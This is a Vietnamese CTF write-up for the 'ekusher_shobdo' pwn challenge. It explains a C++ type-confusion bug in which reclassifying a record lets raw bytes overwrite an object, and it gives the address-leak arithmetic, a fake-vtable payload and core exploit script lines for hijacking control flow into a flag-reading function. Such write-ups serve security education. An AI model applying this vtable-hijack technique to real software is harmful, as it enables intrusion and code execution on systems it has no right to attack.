

Writeup: ekusher_shobdo

1. Thông tin ban đầu

File challenge là một ELF C++ 64-bit:

```
file ekusher_shobdo
```

Kết quả:

```
ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped
```

Binary bị strip symbol, nhưng vẫn có nhiều string mô tả menu và các chức năng chính:

```
1. Create record
2. Edit record
3. Reclassify record
4. Display record
5. Inspect archive metadata
6. Publish record
7. Delete record
8. List records
9. Exit
```

Các loại record gồm:

```
Poem
Slogan
Notice
Broadcast
Imported archive
```

Ngoài ra trong binary có string `flag.txt`, chứng tỏ có một hàm ẩn đọc flag từ file này.

2. Ý tưởng tổng quan

Chương trình quản lý nhiều record. Mỗi record có một `classification` riêng và một con trỏ `storage` trỏ tới object C++ thật trên heap.

Điểm đáng chú ý là chương trình cho phép:

3. Reclassify record

Tức là đổi loại record sau khi đã tạo object.

Lỗi nằm ở việc chương trình chỉ đổi `classification`, nhưng không cấp phát lại object tương ứng. Vì vậy ta có thể tạo một object loại `Poem`, sau đó đổi `classification` sang `Imported archive`. Khi edit, chương trình dùng logic edit của `Imported archive` để ghi raw bytes lên vùng nhớ của object `Poem`.

Đây là lỗi:

Type confusion

Từ type confusion, ta ghi đè được vtable pointer của object C++, dựng fake vtable trên heap, rồi gọi chức năng `Publish record` để redirect luồng chạy vào hàm ẩn đọc flag.

3. Leak địa chỉ

Chức năng:

5. Inspect archive metadata

in ra metadata của record, ví dụ:

```
classification=POEM
storage=0x55959bafc2b0
dispatch=0x55959bae8c08
```

Trong đó:

- `storage` là địa chỉ object trên heap.
- `dispatch` là địa chỉ vtable thật của class `Poem`.

Do binary bật PIE, địa chỉ code bị random mỗi lần chạy. Nhưng vì chương trình leak vtable, ta có thể tính PIE base.

Từ phân tích local:

```
POEM_VTABLE_OFFSET = 0x4c08
WIN_OFFSET = 0x1dd0
```

Công thức:

```
pie_base = dispatch - 0x4c08
win = pie_base + 0x1dd0
```

Hàm tại offset `0x1dd0` chính là hàm ẩn mở `flag.txt`, đọc nội dung và in ra màn hình.

4. Phân tích hàm đọc flag

Disassembly tại offset `0x1dd0` cho thấy hàm này gọi:

```
open("flag.txt", 0);
read(fd, buf, 0xff);
write(1, buf, n);
```

Khi chạy thành công, chương trình in thêm dòng:

```
[+] The language broadcast has been restored.
```

Sau đó in nội dung flag.

Vì vậy ta không cần leak libc, không cần shellcode, không cần ROP phức tạp. Chỉ cần điều khiển RIP để gọi thẳng hàm `win`.

5. Root cause

Luồng gây lỗi:

Bước 1: Tạo object Poem

Chọn:

```
1. Create record
Type: 1
```

Chương trình cấp phát một object `Poem` trên heap.

Bước 2: Leak metadata

Chọn:

```
5. Inspect archive metadata
Record: 0
```

Nhận được:

```
storage=<heap object>
dispatch=<Poem vtable>
```

Bước 3: Reclassify sang Imported archive

Chọn:

```
3. Reclassify record
Record: 0
New classification: 5
```

Điểm lỗi là chương trình chỉ đổi classification thành `IMPORTED`, nhưng object thật vẫn là object `Poem`.

Bước 4: Edit record

Chọn:

```
2. Edit record
Record: 0
Raw bytes (hex):
```

Vì classification hiện tại là `IMPORTED`, chương trình cho nhập raw bytes dạng hex rồi decode trực tiếp vào vùng nhớ object.

Như vậy ta có thể ghi đè phần đầu object C++.

Object C++ thường có layout:

```
object + 0x00 = vtable pointer
object + 0x08 = data...
```

Ta ghi lại object như sau:

```
object + 0x00 = object + 0x08    # fake vtable pointer
object + 0x08 = 0x0              # fake virtual method 0
object + 0x10 = win               # fake virtual method 1
```

Khi gọi publish, chương trình gọi virtual function thứ 2, tương đương:

```
obj->vtable[1](obj);
```

Nhưng lúc này `vtable[1]` đã bị ta đổi thành địa chỉ hàm `win`.

6. Payload

Payload chính:

```
fake_vtable = storage + 8

payload = (
    p64(fake_vtable) +
    p64(0) +
    p64(win)
)
```

Giải thích:

```
p64(fake_vtable)
```

ghi đè vtable pointer của object.

```
p64(0)
```

là entry đầu tiên của fake vtable, không dùng.

```
p64(win)
```

là entry thứ hai của fake vtable. Khi `Publish record` gọi virtual method này, chương trình sẽ nhảy vào hàm đọc flag.

7. Exploit script

Script dùng Python stdlib, không cần pwntools.

Chạy local:

```
python3 solve_ekusher_shobdo.py local ./ekusher_shobdo
```

Chạy remote:

```
python3 solve_ekusher_shobdo.py remote HOST PORT
```

Core exploit:

```
storage = int(storage_match.group(1), 16)
dispatch = int(dispatch_match.group(1), 16)

pie_base = dispatch - 0x4c08
win = pie_base + 0x1dd0
fake_vtable = storage + 8

payload = p64(fake_vtable) + p64(0) + p64(win)
```

Sau đó gửi payload vào phần edit của `Imported archive`, rồi gọi publish.

8. Kết quả local

Tạo file flag test:

```
echo 'BDSEC{LOCAL_EXPLOIT_VERIFIED}' > flag.txt
```

Chạy exploit:

```
python3 solve_ekusher_shobdo.py local ./ekusher_shobdo
```

Output:

```
[+] storage      = 0x55959bafc2b0
[+] dispatch     = 0x55959bae8c08
[+] PIE base     = 0x55959bae4000
```

```
[+] win          = 0x55959bae5dd0
[+] fake vtable = 0x55959bafc2b8
[+] Flag: BDSEC{LOCAL_EXPLOIT_VERIFIED}
```

Local đã khai thác thành công.

9. Kết luận

Challenge này không phải lỗi buffer overflow truyền thống mà là lỗi logic trong quản lý kiểu dữ liệu của object C++.

Tóm tắt chain khai thác:

```
Create Poem
→ Leak storage và dispatch
→ Tính PIE base
→ Tính địa chỉ hàm win
→ Reclassify Poem thành Imported archive
→ Ghi đè vtable pointer bằng raw hex
→ Dựng fake vtable trên heap
→ Publish record
→ Gọi win()
→ Đọc flag.txt
```

Lỗi chính:

Reclassify chỉ đổi type tag nhưng không đổi object thật.

Từ đó dẫn đến:

Type confusion → object overwrite → fake vtable → control flow hijack

Flag server:

BDSEC{...}